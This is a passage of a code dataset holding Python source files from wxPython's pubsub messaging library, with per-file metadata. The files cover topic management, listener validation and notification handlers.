CHANGE\nSVN_VERSION = \"$Rev: 243 $\".split()[1] # DO NOT CHANGE\nVERSION_STR = \"3.1.1b1.201005.r\" + SVN_VERSION\n\n\nfrom core.listener import \\\n Listener, \\\n getID as getListenerID, \\\n ListenerInadequate\n \nfrom core.topicobj import \\\n Topic, \\\n SenderMissingReqdArgs, \\\n SenderUnknownOptArgs, \\\n ListenerSpecInvalid, \\\n ListenerNotValidatable, \\\n ExcHandlerError\n\nfrom core.topicmgr import \\\n TopicManager as _TopicManager, \\\n ListenerSpecIncomplete, \\\n UndefinedTopic, \\\n UndefinedSubtopic, \\\n ALL_TOPICS\n\nfrom core.topicdefnprovider import \\\n ITopicDefnProvider, TopicDefnProvider, \\\n registerTypeForImport as registerTopicDefnProviderType, \\\n IMPORT_MODULE as TOPIC_TREE_FROM_MODULE, \\\n IMPORT_STRING as TOPIC_TREE_FROM_STRING, \\\n IMPORT_CLASS as TOPIC_TREE_FROM_CLASS, \\\n exportTreeAsSpec, TopicTreeTraverser\n\nfrom core.publisher import Publisher\n\n\n\n__all__ = [\n # listener stuff:\n 'Listener', 'ListenerInadequate', \n 'isValid', 'validate',\n \n # topic stuff:\n 'ALL_TOPICS', 'Topic', \n 'topics', 'topicsMap', 'AUTO_TOPIC',\n 'getOrCreateTopic', 'getTopic', 'newTopic', 'delTopic',\n 'ListenerSpecIncomplete', 'ListenerNotValidatable',\n 'UndefinedTopic', 'UndefinedSubtopic', 'ExcHandlerError',\n 'getAssociatedTopics',\n 'getDefaultTopicMgr', 'getDefaultRootAllTopics',\n\n # topioc defn provider stuff\n 'addTopicDefnProvider', 'clearTopicDefnProviders',\n 'registerTopicDefnProviderType', 'TOPIC_TREE_FROM_MODULE',\n 'TOPIC_TREE_FROM_CLASS', 'TOPIC_TREE_FROM_STRING',\n 'importTopicTree', 'exportTopicTree', 'TopicTreeTraverser',\n \n # publisher stuff:\n 'Publisher', \n 'subscribe', 'unsubscribe', 'isSubscribed', 'unsubAll', \n 'sendMessage', 'SenderMissingReqdArgs', 'SenderUnknownOptArgs',\n 'getListenerExcHandler', 'setListenerExcHandler',\n 'addNotificationHandler', 'setNotificationFlags', 'clearNotificationHandlers',\n 'setTopicUnspecifiedFatal',\n \n # misc:\n 'PUBSUB_VERSION',\n ]\n\n\n# ---------------------------------------------\n\n_publisher = Publisher()\n\nsubscribe = _publisher.subscribe \nunsubscribe = _publisher.unsubscribe\nunsubAll = _publisher.unsubAll\nsendMessage = _publisher.sendMessage\n\ngetListenerExcHandler = _publisher.getListenerExcHandler\nsetListenerExcHandler = _publisher.setListenerExcHandler\naddNotificationHandler = _publisher.addNotificationHandler\nclearNotificationHandlers = _publisher.clearNotificationHandlers\nsetNotificationFlags = _publisher.setNotificationFlags\ngetNotificationFlags = _publisher.getNotificationFlags\n\nsetTopicUnspecifiedFatal = _publisher.setTopicUnspecifiedFatal\ngetMsgProtocol = _publisher.getMsgProtocol\n\n# ---------------------------------------------\n_topicMgr = _publisher.getTopicMgr()\n\ntopics = _topicMgr._allTopics\ntopicsMap = _topicMgr._topicsMap\nAUTO_TOPIC = Listener.AUTO_TOPIC\n\n\ndef isValid(listener, topicName):\n '''Return true only if listener can subscribe to messages of \n type topicName.'''\n return _topicMgr.getTopic(topicName).isValid(listener)\n\n\ndef validate(listener, topicName):\n '''Checks if listener can subscribe to topicName. If not, raises\n ListenerInadequate, otherwise just returns.'''\n _topicMgr.getTopic(topicName).validate(listener)\n\n \ndef isSubscribed(listener, topicName):\n '''Returns true if listener has subscribed to topicName, false otherwise.\n WARNING: a false return is not a guarantee that listener won't get\n messages of topicName: it could receive messages of a subtopic of\n topicName. '''\n return _topicMgr.getTopic(topicName).hasListener(listener)\n \n\ndef getDefaultTopicMgr():\n '''Get the topic manager that is created by default when you \n import package.'''\n return _topicMgr\n\ndef getDefaultRootAllTopics():\n '''Get the topic that is parent of all root (ie top-level) topics. Useful\n characteristics:\n \n - all top-level topics satisfy isAll()==False, isRoot()==True, and\n getParent() is getDefaultRootAllTopics();\n - \"root of all topics\" topic satisfies isAll()==True, isRoot()==False,\n getParent() is None;\n - all other topics satisfy neither. '''\n return _topicMgr._allTopics\n\ngetOrCreateTopic = _topicMgr.getOrCreateTopic\nnewTopic = _topicMgr.newTopic\ndelTopic = _topicMgr.delTopic\ngetTopic = _topicMgr.getTopic\ngetAssociatedTopics = _topicMgr.getTopics\n\n\naddTopicDefnProvider = _topicMgr.addDefnProvider\nclearTopicDefnProviders = _topicMgr.clearDefnProviders\n\n\ndef importTopicTree(source, format = TOPIC_TREE_FROM_MODULE, lazy=False):\n '''Import topic definitions from a source. The format of the\n source defaults to TOPIC_TREE_FROM_MODULE, ie default is to import\n from a module (typically, exported by exportTopicTree(source).\n The doc string for the source is returned (for a module source, this\n is the module doc string; etc). If lazy is True, the topics will be\n put in topic tree only upon first use by the application, otherwise,\n all topics that don't already exist are incorporated (this may result\n in a smaller topic tree if an application has evolved significantly).\n \n Other source formats are TOPIC_TREE_FROM_STRING and\n TOPIC_TREE_FROM_CLASS. They are explained in the package API\n documentation.\n \n Notes: \n - This function can be called several times, but should be called\n only once per source.\n - More source formats can be defined via\n pub.registerTopicDefnProviderType(), which must be given a class\n that adheres to the pub.ITopicDefnProvider interface.\n - If lazy=True, then a later call to exportTopicTree() will only\n export those topics that have been used by the application \n '''\n provider = TopicDefnProvider(source, format)\n addTopicDefnProvider(provider)\n if not lazy:\n for topicName in provider:\n _topicMgr.getOrCreateTopic(topicName)\n\n return provider.getTreeDoc()\n\n\ndef _backupIfExists(filename, bak):\n import os, shutil\n if os.path.exists(filename):\n backupName = '%s.%s' % (filename, bak)\n shutil.copy(filename, backupName)\n\n\ndef exportTopicTree(moduleName = None, rootTopicName=None, rootTopic=None, \n bak='bak', moduleDoc=None):\n '''Export the topic tree to a string and return the string.\n The export only traverses the children of rootTopic. Notes:\n\n - If moduleName is given, the string is also written to moduleName.py in\n os.getcwd() (the file is overwritten). If bak is not None, the module file\n is first copied to moduleName.py.bak. \n - If rootTopicName or rootTopic are not specified, the pub.ALL_TOPICS\n topic will used.\n - The moduleDoc is the doc string for the module.\n - If importTopicTree() was called with lazy=True, then only those topics\n that were used by application will be exported.'''\n\n if rootTopicName:\n rootTopic = _topicMgr.getTopic(rootTopicName)\n if rootTopic is None:\n rootTopic = getDefaultRootAllTopics()\n \n # create exporter\n if moduleName is None:\n from StringIO import StringIO\n capture = StringIO()\n exportTreeAsSpec(rootTopic, fileObj=capture, treeDoc=moduleDoc)\n return capture.getvalue()\n \n else:\n filename = '%s.py' % moduleName\n if bak:\n _backupIfExists(filename, bak)\n moduleFile = file(filename, 'w')\n try:\n exportTreeAsSpec(rootTopic, fileObj=moduleFile, treeDoc=moduleDoc)\n finally:\n moduleFile.close()\n\n\n#---------------------------------------------------------------------------\n\n# save the fact that we have been loaded, to pubsubconf\nimport pubsubconf\npubsubconf.pubModuleLoaded()\ndel pubsubconf\n", "id": "5783051", "language": "Python", "matching_score": 4.59116792678833, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/pub.py" }, { "content": "'''\nProvide an interface class for handling pubsub notification messages, \nand an example class (though very useful in practice) showing how to \nuse it. \n\nNotification messages are generated by pubsub\n\n- if a handler has been configured via pub.addNotificationHandler()\n- when pubsub does certain tasks, such as when a listener subscribes to\n or unsubscribes from a topic\n \nDerive from this class to handle notification events from \nvarious parts of pubsub. E.g. when a listener subscribes, \nunsubscribes, or dies, a notification handler, if you \nspecified one via pub.addNotificationHandler(), is given the \nrelevant information. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n'''\n\n\nclass INotificationHandler:\n '''\n Defines the interface expected by pubsub for notification \n messages. Any instance that supports the same methods, or \n derives from this class, will work as a notification handler\n for pubsub events.\n\n In all methods,\n - pubListener is the instance of pub.Listener that wraps\n the un/subscribed listener\n - topicObj is the pub.Topic object representing the topic that\n lead to the notification (use topicObj.getName() for its name in\n dotted form)\n '''\n \n def notifySubscribe(self, pubListener, topicObj, newSub):\n '''Called when a listener is subscribed to a pubsub topic.\n NewSub is false if listener was already subscribed. '''\n raise NotImplementedError\n def notifyUnsubscribe(self, pubListener, topicObj):\n '''Called when a listener is unsubscribed from given topic. '''\n raise NotImplementedError\n def notifyDeadListener(self, pubListener, topicObj):\n '''Called when a listener has been garbage collected'''\n raise NotImplementedError\n def notifySend(self, stage, topicObj, pubListener=None):\n '''Called when a sendMessage is about to start (stage='pre'),\n has completed (stage='post') and for each listener that is about\n to be sent a message (stage='loop'). The pubListener is the\n listener for stage=loop (other stages have pubListener=None).'''\n raise NotImplementedError\n \n def notifyNewTopic(self, topicObj, description, required, argsDocs):\n '''Called whenever a new topic is added to the topic tree. '''\n raise NotImplementedError\n def notifyDelTopic(self, topicName):\n '''Called whenever a topic is removed from topic tree. '''\n raise NotImplementedError\n\n\nclass IgnoreNotificationsMixin(INotificationHandler):\n '''\n Derive your Notifications handler from this class if your handler\n just wants to be notified of one or two types of pubsub events.\n Then just override the desired methods. The rest of the notifications\n will automatically be ignored.\n '''\n \n def notifySubscribe(self, pubListener, topicObj, newSub):\n pass\n def notifyUnsubscribe(self, pubListener, topicObj):\n pass\n def notifyDeadListener(self, pubListener, topicObj):\n pass\n def notifySend(self, stage, topicObj, pubListener=None):\n pass\n\n def notifyNewTopic(self, topicObj, description, required, argsDocs):\n pass\n def notifyDelTopic(self, topicName):\n pass\n\n\nclass NotifyByWriteFile(INotificationHandler):\n '''\n Print a message to stdout when a notification is received. \n '''\n\n defaultPrefix = 'PUBSUB:'\n \n def __init__(self, fileObj = None, prefix = None):\n '''Will write to stdout unless fileObj given. Will use\n defaultPrefix as prefix for each line output, unless prefix\n specified. '''\n self.__pre = prefix or self.defaultPrefix\n\n if fileObj is None:\n import sys\n self.__fileObj = sys.stdout\n else:\n self.__fileObj = fileObj\n\n def changeFile(self, fileObj):\n self.__fileObj = fileObj\n \n def notifySubscribe(self, pubListener, topicObj, newSub):\n if newSub:\n msg = '%s Subscribed listener \"%s\" to topic \"%s\"\\n'\n else:\n msg = '%s Subscription of \"%s\" to topic \"%s\" redundant\\n'\n msg = msg % (self.__pre, pubListener, topicObj.getName())\n self.__fileObj.write(msg)\n\n def notifyUnsubscribe(self, pubListener, topicObj):\n msg = '%s Unsubscribed listener \"%s\" from topic \"%s\"\\n'\n msg = msg % (self.__pre, pubListener, topicObj.getName())\n self.__fileObj.write(msg)\n\n def notifyDeadListener(self, pubListener, topicObj):\n msg = '%s Listener \"%s\" of Topic \"%s\" has died\\n' \\\n % (self.__pre, pubListener, topicObj.getName())\n # a bug apparently: sometimes on exit, the stream gets closed before\n # and leads to a TypeError involving NoneType\n self.__fileObj.write(msg)\n\n def notifySend(self, stage, topicObj, pubListener=None):\n if stage == 'in':\n msg = '%s Sending message of topic \"%s\" to listener %s\\n' % (self.__pre, topicObj.getName(), pubListener)\n elif stage == 'pre':\n msg = '%s Start sending message of topic \"%s\"\\n' % (self.__pre, topicObj.getName())\n else:\n msg = '%s Done sending message of topic \"%s\"\\n' % (self.__pre, topicObj.getName())\n self.__fileObj.write(msg)\n \n def notifyNewTopic(self, topicObj, description, required, argsDocs):\n msg = '%s New topic \"%s\" created\\n' % (self.__pre, topicObj.getName())\n self.__fileObj.write(msg)\n\n def notifyDelTopic(self, topicName):\n msg = '%s Topic \"%s\" destroyed\\n' % (self.__pre, topicName)\n self.__fileObj.write(msg)\n\n\nclass NotifyByPubsubMessage(INotificationHandler):\n '''\n Handle pubsub notification messages by generating\n messages of a 'pubsub.' subtopic. Also provides\n an example of how to create a notification handler. \n \n Use it by calling::\n \n import pubsub.utils\n pubsub.utils.useNotifyByPubsubMessage()\n ...\n pub.setNotificationFlags(...) # optional\n \n E.g. whenever a listener is unsubscribed, a 'pubsub.unsubscribe'\n message is generated. If you have subscribed a listener of \n this topic, your listener will be notified of what listener \n unsubscribed from what topic. \n '''\n \n topicRoot = 'pubsub'\n\n topics = dict(\n send = '%s.sendMessage' % topicRoot,\n subscribe = '%s.subscribe' % topicRoot,\n unsubscribe = '%s.unsubscribe' % topicRoot,\n newTopic = '%s.newTopic' % topicRoot,\n delTopic = '%s.delTopic' % topicRoot,\n deadListener = '%s.deadListener' % topicRoot)\n \n def __init__(self, topicMgr=None):\n self._pubTopic = None\n self.__sending = False # used to guard against infinite loop\n if topicMgr is not None:\n self.createNotificationTopics(topicMgr)\n \n def createNotificationTopics(self, topicMgr):\n '''Create the notification topics. The root of the topics created\n is self.topicRoot. The topicMgr is (usually) pub.topicMgr.'''\n # see if the special topics have already been defined\n try:\n topicMgr.getTopic(self.topicRoot)\n \n except RuntimeError:\n # no, so create them\n self._pubTopic = topicMgr.getOrCreateTopic(self.topicRoot)\n self._pubTopic.setDescription('root of all pubsub-specific topics')\n \n _createTopics(self.topics, topicMgr)\n \n def notifySubscribe(self, pubListener, topicObj, newSub):\n if (self._pubTopic is None) or self.__sending:\n return\n \n pubTopic = self._pubTopic.getSubtopic('subscribe')\n if topicObj is not pubTopic:\n kwargs = dict(listener=pubListener, topic=topicObj, newSub=newSub)\n self.__doNotification(pubTopic, kwargs)\n\n def notifyUnsubscribe(self, pubListener, topicObj):\n if (self._pubTopic is None) or self.__sending:\n return\n \n pubTopic = self._pubTopic.getSubtopic('unsubscribe')\n if topicObj is not pubTopic:\n kwargs = dict(\n topic = topicObj, \n listenerRaw = pubListener.getCallable(), \n listener = pubListener)\n self.__doNotification(pubTopic, kwargs)\n \n def notifyDeadListener(self, pubListener, topicObj):\n if (self._pubTopic is None) or self.__sending:\n return\n\n pubTopic = self._pubTopic.getSubtopic('deadListener')\n kwargs = dict(topic=topicObj, listener=pubListener)\n self.__doNotification(pubTopic, kwargs)\n\n def notifySend(self, stage, topicObj, pubListener=None):\n '''Stage must be 'pre' or 'post'. Note that any pubsub sendMessage \n operation resulting from this notification (which sends a message; \n listener could handle by sending another message!) will NOT themselves\n lead to a send notification. '''\n if (self._pubTopic is None) or self.__sending:\n return\n \n sendMsgTopic = self._pubTopic.getSubtopic('sendMessage')\n if stage == 'pre' and (topicObj is sendMsgTopic):\n msg = 'Not allowed to send messages of topic %s' % topicObj.getName()\n raise ValueError(msg)\n\n self.__doNotification(sendMsgTopic, dict(topic=topicObj, stage=stage))\n \n def notifyNewTopic(self, topicObj, desc, required, argsDocs):\n if (self._pubTopic is None) or self.__sending:\n return\n \n pubTopic = self._pubTopic.getSubtopic('newTopic')\n kwargs = dict(topic=topicObj, description=desc, required=required, args=argsDocs)\n self.__doNotification(pubTopic, kwargs)\n \n def notifyDelTopic(self, topicName):\n if (self._pubTopic is None) or self.__sending:\n return\n \n pubTopic = self._pubTopic.getSubtopic('delTopic')\n self.__doNotification(pubTopic, dict(name=topicName) )\n\n def __doNotification(self, pubTopic, kwargs):\n self.__sending = True\n try:\n pubTopic.publish( **kwargs )\n finally:\n self.__sending = False\n\n\ndef _createTopics(topicMap, topicMgr):\n '''\n Create notification topics. These are used when \n some of the notification flags have been set to True (see\n pub.setNotificationFlags(). The topicMap is a dict where key is \n the notification type, and value is the topic name to create.\n Notification type is a string in ('send', 'subscribe', \n 'unsubscribe', 'newTopic', 'delTopic', 'deadListener'. \n '''\n def newTopic(_name, _desc, _required=None, **argsDocs):\n topic = topicMgr.getOrCreateTopic(_name)\n topic.setDescription(_desc)\n topic.setMsgArgSpec(argsDocs, _required)\n\n newTopic(\n _name = topicMap['subscribe'], \n _desc = 'whenever a listener is subscribed to a topic',\n topic = 'topic that listener has subscribed to',\n listener = 'instance of pub.Listener containing listener', \n newSub = 'false if listener was already subscribed, true otherwise')\n \n newTopic(\n _name = topicMap['unsubscribe'], \n _desc = 'whenever a listener is unsubscribed from a topic',\n topic = 'instance of Topic that listener has been unsubscribed from',\n listener = 'instance of pub.Listener unsubscribed; None if listener not found',\n listenerRaw = 'listener unsubscribed')\n \n newTopic(\n _name = topicMap['send'], \n _desc = 'sent at beginning and end of sendMessage()',\n topic = 'instance of topic for message being sent',\n stage = 'stage of send operation: \"pre\" or \"post\" or \"in\"',\n listener = 'which listener being sent to')\n \n newTopic(\n _name = topicMap['newTopic'],\n _desc = 'whenever a new topic is defined', \n topic = 'instance of Topic created',\n description = 'description of topic (use)',\n args = 'the argument names/descriptions for arguments that listeners must accept',\n required = 'which args are required (all others are optional)')\n \n newTopic(\n _name = topicMap['delTopic'],\n _desc = 'whenever a topic is deleted',\n name = 'full name of the Topic instance that was destroyed')\n \n newTopic(\n _name = topicMap['deadListener'], \n _desc = 'whenever a listener dies without having unsubscribed',\n topic = 'instance of Topic that listener was subscribed to',\n listener = 'instance of pub.Listener containing dead listener')\n\n\ndef useNotifyByPubsubMessage(pubModule=None, topicMgr=None, all=True, **kwargs):\n '''Will cause all of pubsub's notifications of pubsub \"actions\" (such as\n new topic created, message sent, listener subscribed, etc) to be sent\n out as messages. Topic will be 'pubsub' subtopics, such as\n 'pubsub.newTopic', 'pubsub.delTopic', 'pubsub.sendMessage', etc.\n\n The 'all' and kwargs args are the same as pubsub's setNotificationFlags(), \n except that 'all' defaults to True.\n \n The pubModule and topicMgr are rarely needed:\n\n * The pubModule only needs to be specfied if pubsub is not installed\n on the system search path (ie from pubsub import ... would fail or\n import wrong pubsub -- such as if pubsub is within wxPython's\n wx.lib package). Then pbuModule is the pub module to use::\n\n from wx.lib.pubsub import pub\n from wx.lib.pubsub.utils import notification\n notification.useNotifyByPubsubMessage(pub)\n\n * The topicMgr only needs to be specified if you are not using the default\n topic manager created by pubsub.pub (or by provided pubModule).\n '''\n if pubModule is None:\n from pubsub import pub as pubModule\n if topicMgr is None:\n topicMgr = pubModule.getDefaultTopicMgr()\n notifHandler = NotifyByPubsubMessage( topicMgr )\n pubModule.addNotificationHandler(notifHandler)\n\n pubModule.setNotificationFlags(all=all, **kwargs)\n\n\ndef useNotifyByWriteFile(fileObj=None, prefix=None, \n pubModule=None, all=True, **kwargs):\n '''Will cause all pubsub notifications of pubsub \"actions\" (such as\n new topic created, message sent, listener died etc) to be written to\n specified file (or stdout if none given). The fileObj need only\n provide a 'write(string)' method.\n \n The first two arguments are the same as those of NotifyByWriteFile\n constructor. The 'all' and kwargs arguments are those of pubsub's\n setNotificationFlags(), except that 'all' defaults to True. See\n useNotifyByPubsubMessage() for an explanation of pubModule (typically\n only if pubsub inside wxPython's wx.lib)'''\n if pubModule is None:\n from pubsub import pub as pubModule\n notifHandler = NotifyByWriteFile(fileObj, prefix)\n pubModule.addNotificationHandler(notifHandler)\n pubModule.setNotificationFlags(all=all, **kwargs)\n\n\n", "id": "200791", "language": "Python", "matching_score": 4.229732990264893, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/utils/notification.py" }, { "content": "'''\nFirst generation of notification handler could only have one registered\nhandler.\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nclass NotificationMgrOneHandler:\n '''\n Same as NotificationMgr, but can only accept one\n notification at a time.\n '''\n\n def __init__(self, notificationHandler = None):\n self.__notifyOnSend = False\n self.__notifyOnSubscribe = False\n self.__notifyOnUnsubscribe = False\n\n self.__notifyOnNewTopic = False\n self.__notifyOnDelTopic = False\n self.__notifyOnDeadListener = False\n\n self.__handler = notificationHandler\n\n def addHandler(self, handler):\n '''Set handler as handler. Can only have one handler. Returns\n previous handler.'''\n previous = self.__handler\n self.__handler = handler\n return previous\n\n def notifySubscribe(self, *args, **kwargs):\n if self.__notifyOnSubscribe and (self.__handler is not None):\n self.__handler.notifySubscribe(*args, **kwargs)\n\n def notifyUnsubscribe(self, *args, **kwargs):\n if self.__notifyOnUnsubscribe and (self.__handler is not None):\n self.__handler.notifyUnsubscribe(*args, **kwargs)\n\n def notifySend(self, *args, **kwargs):\n if self.__notifyOnSend and (self.__handler is not None):\n self.__handler.notifySend(*args, **kwargs)\n\n def notifyNewTopic(self, *args, **kwargs):\n if self.__notifyOnNewTopic and (self.__handler is not None):\n self.__handler.notifyNewTopic(*args, **kwargs)\n\n def notifyDelTopic(self, *args, **kwargs):\n if self.__notifyOnDelTopic and (self.__handler is not None):\n self.__handler.notifyDelTopic(*args, **kwargs)\n\n def notifyDeadListener(self, *args, **kwargs):\n if self.__notifyOnDeadListener and (self.__handler is not None):\n self.__handler.notifyDeadListener(*args, **kwargs)\n\n def getFlagStates(self):\n '''Return state of each notification flag, as a dict.'''\n return dict(\n subscribe = self.__notifyOnSubscribe,\n unsubscribe = self.__notifyOnUnsubscribe,\n deadListener = self.__notifyOnDeadListener,\n sendMessage = self.__notifyOnSend,\n newTopic = self.__notifyOnNewTopic,\n delTopic = self.__notifyOnDelTopic,\n )\n\n def setFlagStates(self, subscribe=None, unsubscribe=None,\n deadListener=None, sendMessage=None, newTopic=None,\n delTopic=None, all=None):\n '''Set the notification flag on/off for various aspects of pubsub:\n\n - subscribe: whenever a listener subscribes to a topic;\n - unsubscribe: whenever a listener unsubscribes from a topic;\n - deadListener: whenever pubsub finds out that a subscribed\n listener has been garbage-collected;\n - sendMessage: whenever sendMessage() is called;\n - newTopic: whenever a new topic is created;\n - delTopic: whenever a topic is \"deleted\" by pubsub;\n - all: set all of the above to the given value (True or False).\n\n The kwargs that are None are left at their current value. The 'all'\n is set first, then the others. E.g.\n\n pubsub.setFlagStates(all=True, delTopic=False)\n\n will toggle all notifications on, but will turn off the 'delTopic'\n notification.\n\n All registered notification handlers (see pub.addNotificationHandler())\n will be notified when the above actions are taken.\n '''\n if all is not None:\n # ignore all other arg settings, and set all of them to true:\n numArgs = 7 # how many args in this method\n self.setFlagStates( all=None, * ((numArgs-1)*[all]) )\n\n if sendMessage is not None:\n self.__notifyOnSend = sendMessage\n if subscribe is not None:\n self.__notifyOnSubscribe = subscribe\n if unsubscribe is not None:\n self.__notifyOnUnsubscribe = unsubscribe\n\n if newTopic is not None:\n self.__notifyOnNewTopic = newTopic\n if delTopic is not None:\n self.__notifyOnDelTopic = delTopic\n if deadListener is not None:\n self.__notifyOnDeadListener = deadListener\n\n\n", "id": "4036521", "language": "Python", "matching_score": 2.442990779876709, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/notificationmgr_old.py" }, { "content": "'''\nHigher-level classes and functions related to listening of pubsub messages.\nListeners are callable objects that get subscribed to a pubsub\ntopic. Listeners are deemed \"invalid\" or \"inadequate\" (used interchangeably)\nby pubsub if they wouldn't be able to receive all message data of a topic\nmessage. This module includes this validation functionality, which varies\nbased on the pubsub messaging protocol used. \n\nNote that a Listener instance holds its callable listener only by weak\nreference so it doesn't prevent the callable from being garbage collected\nwhen callable is no longer in use by the application.\n\nIn order for a listener to subscribe to a topic, it must adhere to that\ntopic's \"listener protocol specification\" (LPS). A subscription will\nfail (via a ListenerInadequate exception) if this is not the case. For\ninstance, if topic A has an LPS \"arg1, arg2=None\"\", then only listeners\nof the form callable([self,] arg1, arg2=something) will be accepted.\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport weakmethod\nfrom callables import \\\n getID, getArgs,\\\n ListenerInadequate, \\\n CallArgsInfo, \\\n AUTO_TOPIC as _AUTO_ARG\n\n\nclass ListenerBase:\n '''\n Any listener that is subscribed to pubsub topics is stored by weak\n reference into a Listener (derived from this class). This class uses\n introspection on the wrapped listener to determine various properties of\n interest to pubsub. Anytime a listener is returned from a pubsub\n function/method, it is in fact the Listener wrapping it that is\n returned.\n\n Note that listeners that have 'argName=pub.AUTO_TOPIC' as a kwarg will\n be given the Topic object for the message sent by sendMessage().\n Such a listener will cause self.wantsTopicObjOnCall() to return True.\n '''\n \n AUTO_TOPIC = _AUTO_ARG\n \n def __init__(self, callable_, argsInfo, onDead=None):\n '''Use callable_ as a listener of topicName. The argsInfo is the \n return value from a Validator, ie an instance of callables.CallArgsInfo.\n If given, the onDead will be called with self as parameter, if/when\n callable_ gets garbage collected (callable_ is held only by weak\n reference). '''\n # set call policies\n self.acceptsAllKwargs = argsInfo.acceptsAllKwargs\n \n self._autoTopicArgName = argsInfo.autoTopicArgName\n self._callable = weakmethod.getWeakRef(callable_, self.__notifyOnDead)\n self.__onDead = onDead\n \n # save identity now in case callable dies:\n name, mod = getID(callable_) #\n self.__nameID = name\n self.__module = mod \n self.__id = str(id(callable_))[-4:] # only last four digits of id\n self.__hash = hash(callable_)\n \n def __call__(self, args, kwargs, actualTopic, allArgs=None):\n raise NotImplementedError\n \n def name(self):\n '''Return a human readable name for listener, based on the \n listener's type name and its id (as obtained\n from id(listener)). If caller just needs name based on \n type info, specify instance=False. Note that the listener's id()\n was saved at construction time (since it may get garbage collected\n at any time) so the return value of name() is not necessarily unique if the callable has\n died (because id's can be re-used after garbage collection).'''\n return '%s_%s' % (self.__nameID, self.__id)\n\n def typeName(self):\n '''Get a type name for the listener. This is a class name or\n function name, as appropriate. '''\n return self.__nameID\n \n def module(self):\n '''Get the module in which the callable was defined.'''\n return self.__module\n\n def getCallable(self):\n '''Get the listener that was given at initialization. Note that\n this could be None if it has been garbage collected (e.g. if it was \n created as a wrapper of some other callable, and not stored \n locally).'''\n return self._callable()\n\n def isDead(self):\n '''Return True if this listener died (has been garbage collected)'''\n return self._callable() is None\n\n def wantsTopicObjOnCall(self):\n return self._autoTopicArgName is not None\n \n def _unlinkFromTopic_(self):\n '''Tell self that it is no longer used by a Topic. This allows \n to break some cyclical references.'''\n self.__onDead = None\n\n def _calledWhenDead(self):\n raise RuntimeError('BUG: Dead Listener called, still subscribed!')\n\n def __notifyOnDead(self, ref):\n '''This gets called when listener weak ref has died. Propagate \n info to Topic).'''\n notifyDeath = self.__onDead\n self._unlinkFromTopic_()\n if notifyDeath is not None:\n notifyDeath(self)\n\n def __eq__(self, rhs):\n '''Compare for equality to rhs. This returns true if rhs has our id id(rhs) is\n same as id(self) or id(callable in self). '''\n if id(self) == id(rhs):\n return True\n\n try:\n c1 = self._callable()\n c2 = rhs._callable()\n\n except Exception:\n # then rhs is not a Listener, compare with c1\n return c1 == rhs\n\n # both side of == are Listener, but always compare unequal if both dead\n if c2 is None and c1 is None:\n return False\n \n return c1 == c2\n\n def __ne__(self, rhs):\n '''Counterpart to __eq__ MUST be defined... equivalent to\n 'not (self == rhs)'.'''\n return not self.__eq__(rhs)\n\n def __hash__(self):\n \"\"\"Hash is an optimization for dict/set searches, it need not\n return different numbers for every different object. \"\"\"\n return self.__hash\n\n def __str__(self):\n '''String rep is the callable'''\n return self.__nameID\n\n\nclass ValidatorBase:\n '''\n Validates listeners. It checks whether the listener given to \n validate() method complies with required and optional arguments\n specified for topic. \n '''\n \n def __init__(self, topicArgs, topicKwargs):\n '''topicArgs is a list of argument names that will be required when sending \n a message to listener. Hence order of items in topicArgs matters. The topicKwargs\n is a list of argument names that will be optional, ie given as keyword arguments\n when sending a message to listener. The list is unordered. '''\n self._topicArgs = set(topicArgs)\n self._topicKwargs = set(topicKwargs)\n\n\n def validate(self, listener):\n '''Validate that listener satisfies the requirements of \n being a topic listener, if topic's kwargs keys are topicKwargKeys\n (so only the list of keyword arg names for topic are necessary). \n Raises ListenerInadequate if listener not usable for topic. \n \n Otherwise, returns an CallArgsInfo object containing information about\n the listener's call arguments, such as whether listener wants topic\n name (signified by a kwarg value = AUTO_TOPIC in listener protocol).\n E.g. def fn1(msgTopic=Listener.AUTO_TOPIC) would \n cause validate(fn1) to return True, whereas any other kwarg name or value \n would cause a False to be returned. \n '''\n paramsInfo = getArgs( listener )\n self._validateArgs(listener, paramsInfo)\n return paramsInfo\n\n\n def isValid(self, listener):\n '''Return true only if listener can subscribe to messages where\n topic has kwargs keys topicKwargKeys. Just calls validate() in \n a try-except clause.'''\n try:\n self.validate(listener)\n return True\n except ListenerInadequate:\n return False\n\n \n def _validateArgs(self, listener, paramsInfo):\n '''Provide implementation in derived classes'''\n raise NotImplementedError\n \n\n", "id": "3146544", "language": "Python", "matching_score": 5.877247333526611, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/listenerbase.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom listenerbase import ListenerBase, ValidatorBase, ListenerInadequate\nfrom callables import ListenerInadequate\nimport policies\n\n\nclass Message:\n \"\"\"\n A simple container object for the two components of a topic messages\n in the pubsub API v1: the\n topic and the user data. An instance of Message is given to your\n listener when called by sendMessage(topic). The data is accessed\n via the 'data' attribute, and can be type of object.\n \"\"\"\n def __init__(self, topicNameTuple, data):\n self.topic = topicNameTuple\n self.data = data\n\n def __str__(self):\n return '[Topic: '+`self.topic`+', Data: '+`self.data`+']'\n\n\nclass Listener(ListenerBase):\n def __call__(self, actualTopic, data):\n '''Call the listener with data. Note that it raises RuntimeError \n if listener is dead. Should always return True (False would require\n the callable_ be dead but self hasn't yet been notified of it...).'''\n kwargs = {}\n if self._autoTopicArgName is not None:\n kwargs[self._autoTopicArgName] = actualTopic\n cb = self._callable()\n if cb is None:\n self._calledWhenDead()\n msg = Message(actualTopic.getNameTuple(), data)\n cb(msg, **kwargs)\n return True\n\n\nclass ListenerValidator(ValidatorBase):\n '''\n Accept one arg or *args; accept any **kwarg, \n and require that the Listener have at least all the kwargs (can \n have extra) of Topic.\n '''\n \n def _validateArgs(self, listener, paramsInfo):\n # accept **kwargs\n # accept *args\n # accept any keyword args\n\n if (paramsInfo.getAllArgs() == ()) and paramsInfo.acceptsAllUnnamedArgs:\n return\n\n if paramsInfo.getAllArgs() == ():\n msg = 'Must have at 